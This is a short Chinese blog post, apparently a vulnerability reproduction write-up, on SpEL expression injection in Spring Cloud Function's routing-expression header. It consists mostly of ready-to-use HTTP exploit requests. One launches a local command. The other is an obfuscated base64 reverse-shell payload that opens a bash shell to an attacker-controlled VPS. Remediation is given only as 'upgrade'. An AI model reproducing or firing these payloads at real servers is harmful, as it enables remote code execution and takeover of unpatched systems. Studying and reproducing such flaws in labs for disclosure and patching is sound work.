关于Spring Cloud 表达式注入漏洞——分析复现

发布于:2024-09-18 ⋅ 阅读:(115) ⋅ 点赞:(0)
更多漏洞分析复现,可前往无问社区查看icon-default.png?t=O83Ahttp://www.wwlib.cn/index.php/artread/artid/5175.html
一、漏洞成因

近期,Spring Cloud官方发布了一则安全公告,修复了一个Spring Cloud Function中的 SPEL表达式注入漏洞。该漏洞是由于Spring Cloud Function中RoutingFunction类的 apply方法将请求头中spring.cloud.function.routing-expression传入的参数值作为SPEL表达式进行处理,攻击者可以通过构造恶意的语句来实现SPEL表达式注入漏洞。

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

二、漏洞复现

1、 本地搭建

利用编译好的环境进行本地复现,下载地址:https://github.com/Pizz33/Spring-Cloud-Function-SpEL

图片

图片

POC:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: 
T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

test

图片

1、 在线环境反弹shell

vulfocus在线环境反弹shell:http://vulfocus.io/

图片

反弹Shell POC

POST /functionRouter HTTP/1.1
Host: 123.58.236.76:64443
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
spring.cloud.function.routing-expression: 
T(java.lang.Runtime).getRuntime().exec("bash -c 
{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|
{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 8
test

vps上进行端口监听

图片

执行POC后,vps上收到了弹回的shell

图片

三、修复方案

升级安全版本


网站公告

今日签到

点亮在社区的每一天
去签到